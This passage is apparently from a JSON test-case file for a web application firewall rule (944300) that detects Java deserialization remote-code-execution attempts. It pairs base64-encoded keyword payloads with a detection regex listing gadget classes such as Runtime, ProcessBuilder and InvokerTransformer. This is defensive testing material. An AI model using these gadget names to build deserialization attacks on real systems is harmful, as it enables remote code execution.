"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"aW5zdGFudGlhdGVmYWN0b3J5\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword aW5zdGFudGlhdGVmYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Gluc3RhbnRpYXRlZmFjdG9yeQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Gluc3RhbnRpYXRlZmFjdG9yeQ=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Gluc3RhbnRpYXRlZmFjdG9yeQ\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Gluc3RhbnRpYXRlZmFjdG9yeQ</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Gluc3RhbnRpYXRlZmFjdG9yeQ</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Gluc3RhbnRpYXRlZmFjdG9yeQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Gluc3RhbnRpYXRlZmFjdG9yeQ\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Gluc3RhbnRpYXRlZmFjdG9yeQ\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Gluc3RhbnRpYXRlZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BpbnN0YW50aWF0ZWZhY3Rvcnk" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BpbnN0YW50aWF0ZWZhY3Rvcnk=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"BpbnN0YW50aWF0ZWZhY3Rvcnk\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], 